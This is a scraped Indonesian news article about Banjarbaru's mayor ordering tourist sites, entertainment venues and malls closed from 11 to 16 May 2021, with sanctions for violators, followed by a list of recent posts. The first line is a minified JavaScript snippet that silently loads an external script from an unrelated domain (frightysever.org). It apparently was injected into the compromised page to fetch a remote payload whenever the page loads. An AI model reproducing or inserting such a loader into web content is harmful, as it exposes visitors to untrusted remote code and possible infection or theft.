(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

11-16 Mei Tempat Wisata, Usaha Jasa Hiburan dan Mal di Banjarbaru Ditutup!


KANALKALIMANTAN.COM, BANJARBARU – Tempat wisata, usaha jasa hiburan dan mal di Banjarbaru yang tak patuh menutup sementara operasional periode 11-16 Mei bisa kena sanksi penutupan total.

Penegasan itu diutarakan Wali Kota Banjarbaru Aditya Mufti Ariffin bersama Forkopimda Kota Banjarbaru ketika melakukan kunjungan ke Pasar Bauntung Banjarbaru, pos penjagaan di jalan A Yani Km 18 -depan Kota Citra Graha Liang Anggang dan Q Mall Banjarbaru, Jum’at (7/5/2021) siang.

“Petugas selama periode penutupan sementara tiga tempat kategori itu pada tanggal 11 hingga 16 Mei itu akan cek lapangan. Memastikan apakah tempat wisata, usaha jasa hiburan dan mal patuh menutup sementara operasionalnya. Bila bandel dipastikan akan ada sanksi bagi pelanggar,” tegas Wali Kota Banjarbaru.

Wali Kota Banjarbaru Aditya Mufti Ariffin mengatakan, ia bersama Ketua DPRD Kota Banjarbaru Fadliansyah dan Forkopimda Kota Banjarbaru mendatangi pos pelayanan Operasi Ketupat Intan 2021, termasuk mendatangi beberapa tempat yang berpotensi menyebabkan kerumunan.

 

Pasar Bauntung Banjarbaru dikunjungi Wali Kota Banjarbaru, Jum’at (7/5/2021). Foto: humpro banjarbaru

“Kita melihat langsung di lapangan seperti di Pasar Bauntung Banjarbaru untuk memastikan protokol kesehatan di pasar berjalan dengan baik, cek harga sembako di pasar Bauntung,” katanya.

Wali Kota Banjarbaru saat cek harga sembako dalam kunjungan ke pasar mengklaim untuk harga masih aman dan pasokan pangan cukup bagus.

Sebelum cek lapangan Forkopimda Kota Banjarbaru mengeluarkan Surat Edaran Nomor : 300/9/KUM/2021 tentang penutupan sementara tempat wisata, usaha jasa hiburan dan mal, ditandatangani oleh Wali Kota Banjarbaru beserta Forkopimda Kota Banjarbaru, dimana bunyi poin utama yakni akan dilaksanakan penutupan tempat wisata, usaha jasa hiburan, dan mal mulai tanggal 11 Mei sampai dengan 16 Mei 2021. Tiga jenis lokasi atau tempat yang masuk kategori itu diminta untuk melakukan penutupan sementara saat libur panjang lebaran.

“Apabila masih ada yang tidak patuh akan dilakukan sanksi administrasi dan penutupan total,” tegas Wali Kota Banjarbaru. (kanalkalimantan.com/al)

Reporter : Al

Editor : Bie

 

 


Al Ghifari

Recent Posts

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

1 menit ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

2 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

2 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

5 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

5 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

7 jam ago

This website uses cookies.